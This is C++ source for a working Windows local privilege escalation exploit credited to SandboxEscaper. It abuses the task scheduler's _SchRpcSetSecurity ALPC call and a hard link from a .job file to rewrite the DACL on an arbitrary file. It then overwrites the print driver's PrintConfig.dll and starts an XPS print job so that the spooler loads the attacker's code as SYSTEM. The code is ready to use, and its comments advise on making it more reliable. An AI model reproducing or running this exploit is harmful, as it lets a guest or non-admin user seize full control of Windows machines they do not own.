//***************************************************************// // Windows LPE - Non-admin/Guest to system - by SandboxEscaper // //***************************************************************// /* _SchRpcSetSecurity which is part of the task scheduler ALPC endpoint allows us to set an arbitrary DACL. It will Set the security of a file in c:\windows\tasks without impersonating, a non-admin (works from Guest too) user can write here. Before the task scheduler writes the DACL we can create a hard link to any file we have read access over. This will result in an arbitrary DACL write. This PoC will overwrite a printer related dll and use it as a hijacking vector. This is ofcourse one of many options to abuse this.*/ #include "stdafx.h" #include "rpc_h.h" #include #include #pragma comment(lib, "rpcrt4.lib") using namespace std; //extern "C" __declspec (dllexport) DWORD CALLBACK ExploitThread(LPVOID); RPC_STATUS CreateBindingHandle(RPC_BINDING_HANDLE *binding_handle) { RPC_STATUS status; RPC_BINDING_HANDLE v5; RPC_SECURITY_QOS SecurityQOS = {}; RPC_WSTR StringBinding = nullptr; RPC_BINDING_HANDLE Binding; StringBinding = 0; Binding = 0; status = RpcStringBindingComposeW(L"c8ba73d2-3d55-429c-8e9a-c44f006f69fc", L"ncalrpc", nullptr, nullptr, nullptr, &StringBinding); if (status == RPC_S_OK) { status = RpcBindingFromStringBindingW(StringBinding, &Binding); RpcStringFreeW(&StringBinding); if (!status) { SecurityQOS.Version = 1; SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; status = RpcBindingSetAuthInfoExW(Binding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); if (!status) { v5 = Binding; Binding = 0; *binding_handle = v5; } } } if (Binding) RpcBindingFree(&Binding); return status; } extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len) { return(malloc(len)); } extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr) { free(ptr); } bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname); void RunExploit() { RPC_BINDING_HANDLE handle; RPC_STATUS status = CreateBindingHandle(&handle); //These two functions will set the DACL on an arbitrary file (see hardlink in main), change the security descriptor string parameters if needed. _SchRpcCreateFolder(handle, L"UpdateTask", L"D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;;0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)", 0); _SchRpcSetSecurity(handle, L"UpdateTask", L"D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;;0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)", 0); } int mainf(LPVOID lpReserved) { //We enumerate the path of PrintConfig.dll, which we will write the DACL of and overwrite to hijack the print spooler service //You might want to expand this code block with FindNextFile .. as there may be multiple prnms003.inf_amd64* folders since older versions do not get cleaned up it in some rare cases. //When this happens this code has no garantuee that it will target the dll that ends up getting loaded... and you really want to avoid this. WIN32_FIND_DATA FindFileData; HANDLE hFind; wchar_t searchLoc[MAX_PATH], prntCnfg[MAX_PATH]; UINT szPath = 0, szPath1 = 0; szPath = GetSystemDirectory(searchLoc, MAX_PATH); szPath1 = GetSystemDirectory(prntCnfg, MAX_PATH); if (szPath == 0 || szPath1 == 0){ return (-1); } wcscat(searchLoc, L"\\DriverStore\\FileRepository\\prnms003.inf_amd64*"); wcscat(prntCnfg, L"\\DriverStore\\FileRepository\\"); hFind = FindFirstFile(searchLoc, &FindFileData); wchar_t PrinterDriverFolder[MAX_PATH]; wchar_t EndPath[23] = L"\\Amd64\\PrintConfig.dll"; wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName)); FindClose(hFind); wcscat(prntCnfg, PrinterDriverFolder); wcscat(prntCnfg, EndPath); //Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of wchar_t jobPath[MAX_PATH]; szPath = GetSystemWindowsDirectory(jobPath, MAX_PATH); if (szPath == 0){ return (-1); } wcscat(jobPath, L"\\tasks\\UpdateTask.job"); CreateNativeHardlink(jobPath, prntCnfg); RunExploit(); MEMORY_BASIC_INFORMATION lpBuffer; VirtualQuery(lpReserved, &lpBuffer, sizeof(MEMORY_BASIC_INFORMATION)); //We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue HANDLE hFile; DWORD dwBytesWritten = 0; do { hFile = CreateFile(prntCnfg, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile, (char*)lpBuffer.AllocationBase, (DWORD)lpBuffer.RegionSize, &dwBytesWritten, NULL); if (hFile == INVALID_HANDLE_VALUE) { Sleep(5000); } } while (hFile == INVALID_HANDLE_VALUE); CloseHandle(hFile); //After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service. CoInitialize(nullptr); IXpsOMObjectFactory *xpsFactory = NULL; CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast(&xpsFactory)); HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL); IXpsPrintJob *job = NULL; IXpsPrintJobStream *jobStream = NULL; StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL); // jobStream->Close(); CoUninitialize(); return 0; } DWORD CALLBACK ExploitThread(LPVOID lpReserved) { mainf(lpReserved); FreeLibraryAndExitThread(GetModuleHandle(NULL), 0); return 0; }